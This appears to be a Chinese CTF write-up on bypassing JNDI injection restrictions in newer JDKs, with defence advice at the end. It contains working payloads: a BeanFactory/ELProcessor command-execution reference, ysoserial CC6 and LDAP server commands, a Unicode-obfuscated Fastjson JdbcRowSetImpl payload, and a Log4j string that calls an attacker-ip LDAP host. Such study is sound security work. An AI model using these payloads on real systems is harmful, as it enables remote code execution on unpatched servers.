高JDK的JNDI绕过之复现某比赛0解题
字数 1940 2025-08-19 12:42:34

高版本JDK下的JNDI注入绕过技术研究

1. JNDI注入原理概述

JNDI (Java Naming and Directory Interface) 是Java提供的用于访问命名和目录服务的API,可以访问多种服务包括:

  • DNS
  • LDAP
  • CORBA对象服务
  • RMI

1.1 RMI + JNDI注入流程

  1. 攻击者搭建RMI服务器,绑定恶意Reference对象到特定名称
  2. 在恶意class文件目录下开启HTTP服务
  3. 受害者通过JNDI客户端lookup查找RMI服务
  4. JNDI解析Reference对象并加载远程恶意类

关键代码示例:

InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/sayhello");

1.2 LDAP + JNDI注入流程

  1. 攻击者搭建LDAP服务器,设置恶意Reference对象
  2. 受害者通过JNDI查询LDAP服务
  3. JNDI解析LDAP返回的Reference对象
  4. 加载并执行远程恶意类

2. 高版本JDK的限制机制

在JDK 8u191及更高版本中,Oracle引入了以下安全限制:

  1. com.sun.jndi.rmi.object.trustURLCodebase 默认设置为false
  2. com.sun.jndi.cosnaming.object.trustURLCodebase 默认设置为false
  3. 禁止从远程codebase加载任意类

关键变化点:

  • javax.naming.spi.DirectoryManager.java中增加了trustURLCodebase检查
  • 只有trustURLCodebase=true时才允许远程类加载

3. 高版本JDK下的绕过技术

3.1 利用本地Class作为Reference Factory

核心思路:利用受害者CLASSPATH中已有的类作为恶意Reference Factory

关键类org.apache.naming.factory.BeanFactory

利用条件:

  1. 目标环境包含Tomcat相关依赖
  2. BeanFactory类可用
  3. 存在可利用的EL处理器(如javax.el.ELProcessor)

利用步骤

  1. 创建ResourceRef指向ELProcessor和BeanFactory
  2. 通过forceString修改方法调用
  3. 利用EL表达式执行命令

示例代码:

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd', '/c', 'calc']).start()\")"));

3.2 利用LDAP返回序列化数据触发本地Gadget

核心思路:利用LDAP返回序列化对象触发本地反序列化链

利用条件

  1. 目标环境中存在可利用的反序列化Gadget
  2. 可以控制LDAP服务器返回内容

利用步骤

  1. 准备恶意序列化数据(如CommonsCollections链)
  2. 搭建LDAP服务器返回该序列化数据
  3. 通过JNDI触发LDAP查询
  4. 触发反序列化执行恶意代码

示例:

// 生成CC6链的序列化数据
java -jar ysoserial.jar CommonsCollections6 "calc" > 1.ser

// 启动LDAP服务器返回该数据
java -jar LDAPServer.jar 127.0.0.1 1.ser

4. 实际案例分析

4.1 湖南邀请赛 - Login

环境特征

  • Fastjson 1.2.47
  • JDK高版本(8u201+)
  • 存在unboundid-ldapsdk依赖

绕过过程

  1. 发现Fastjson入口但关键字被过滤
  2. 使用Unicode/Hex绕过关键字过滤
  3. 由于高版本限制无法直接远程加载类
  4. 利用LDAP返回CC6序列化数据触发反序列化

Payload

{
  "username": {
    "@\u0074\u0079\u0070\u0065": "java.lang.Class",
    "val": "com.sun.rowset.\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"
  },
  "password": {
    "@\u0074\u0079\u0070\u0065": "com.sun.rowset.\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c",
    "\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065": "ldap://127.0.0.1:6666/Evail",
    "\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074": true
  }
}

4.2 [HZNUCTF 2023 final]ezjava

环境特征

  • Log4j 2.x
  • Fastjson 1.2.48
  • JDK 1.8.0_222

利用链

  1. 通过Log4j触发JNDI注入
  2. 由于JDK高版本限制无法直接远程加载类
  3. 利用LDAP返回恶意序列化数据
  4. 触发本地反序列化Gadget执行命令

关键步骤

  1. 准备Fastjson 1.2.83原生反序列化Payload
  2. 使用LDAPServer返回该序列化数据
  3. 通过Log4j触发JNDI查询

Payload

${jndi:ldap://attacker-ip:6666/Evail}

5. 防御建议

  1. 升级JDK到最新版本
  2. 设置JVM参数限制JNDI访问:
    -Dcom.sun.jndi.rmi.object.trustURLCodebase=false
    -Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false
    
  3. 对用户输入进行严格过滤
  4. 移除不必要的依赖(如unboundid-ldapsdk)
  5. 使用安全框架对反序列化进行防护

6. 总结

攻击方式 适用JDK版本 依赖条件 利用难度
传统JNDI注入 <8u191
本地Class绕过 ≥8u191 需要特定本地类
LDAP反序列化 ≥8u191 需要反序列化Gadget

高版本JDK环境下,JNDI注入仍然可能通过本地类利用或反序列化链触发,但利用条件更为苛刻。防御方应全面考虑各种可能的攻击面,而不仅仅是依赖JDK版本升级。

高版本JDK下的JNDI注入绕过技术研究 1. JNDI注入原理概述 JNDI (Java Naming and Directory Interface) 是Java提供的用于访问命名和目录服务的API,可以访问多种服务包括: DNS LDAP CORBA对象服务 RMI 1.1 RMI + JNDI注入流程 攻击者搭建RMI服务器,绑定恶意Reference对象到特定名称 在恶意class文件目录下开启HTTP服务 受害者通过JNDI客户端lookup查找RMI服务 JNDI解析Reference对象并加载远程恶意类 关键代码示例: 1.2 LDAP + JNDI注入流程 攻击者搭建LDAP服务器,设置恶意Reference对象 受害者通过JNDI查询LDAP服务 JNDI解析LDAP返回的Reference对象 加载并执行远程恶意类 2. 高版本JDK的限制机制 在JDK 8u191及更高版本中,Oracle引入了以下安全限制: com.sun.jndi.rmi.object.trustURLCodebase 默认设置为false com.sun.jndi.cosnaming.object.trustURLCodebase 默认设置为false 禁止从远程codebase加载任意类 关键变化点: 在 javax.naming.spi.DirectoryManager.java 中增加了trustURLCodebase检查 只有trustURLCodebase=true时才允许远程类加载 3. 高版本JDK下的绕过技术 3.1 利用本地Class作为Reference Factory 核心思路 :利用受害者CLASSPATH中已有的类作为恶意Reference Factory 关键类 : org.apache.naming.factory.BeanFactory 利用条件: 目标环境包含Tomcat相关依赖 BeanFactory类可用 存在可利用的EL处理器(如javax.el.ELProcessor) 利用步骤 : 创建ResourceRef指向ELProcessor和BeanFactory 通过forceString修改方法调用 利用EL表达式执行命令 示例代码: 3.2 利用LDAP返回序列化数据触发本地Gadget 核心思路 :利用LDAP返回序列化对象触发本地反序列化链 利用条件 : 目标环境中存在可利用的反序列化Gadget 可以控制LDAP服务器返回内容 利用步骤 : 准备恶意序列化数据(如CommonsCollections链) 搭建LDAP服务器返回该序列化数据 通过JNDI触发LDAP查询 触发反序列化执行恶意代码 示例: 4. 实际案例分析 4.1 湖南邀请赛 - Login 环境特征 : Fastjson 1.2.47 JDK高版本(8u201+) 存在unboundid-ldapsdk依赖 绕过过程 : 发现Fastjson入口但关键字被过滤 使用Unicode/Hex绕过关键字过滤 由于高版本限制无法直接远程加载类 利用LDAP返回CC6序列化数据触发反序列化 Payload : 4.2 [ HZNUCTF 2023 final ]ezjava 环境特征 : Log4j 2.x Fastjson 1.2.48 JDK 1.8.0_ 222 利用链 : 通过Log4j触发JNDI注入 由于JDK高版本限制无法直接远程加载类 利用LDAP返回恶意序列化数据 触发本地反序列化Gadget执行命令 关键步骤 : 准备Fastjson 1.2.83原生反序列化Payload 使用LDAPServer返回该序列化数据 通过Log4j触发JNDI查询 Payload : 5. 防御建议 升级JDK到最新版本 设置JVM参数限制JNDI访问: 对用户输入进行严格过滤 移除不必要的依赖(如unboundid-ldapsdk) 使用安全框架对反序列化进行防护 6. 总结 | 攻击方式 | 适用JDK版本 | 依赖条件 | 利用难度 | |---------|------------|---------|---------| | 传统JNDI注入 | <8u191 | 无 | 低 | | 本地Class绕过 | ≥8u191 | 需要特定本地类 | 中 | | LDAP反序列化 | ≥8u191 | 需要反序列化Gadget | 高 | 高版本JDK环境下,JNDI注入仍然可能通过本地类利用或反序列化链触发,但利用条件更为苛刻。防御方应全面考虑各种可能的攻击面,而不仅仅是依赖JDK版本升级。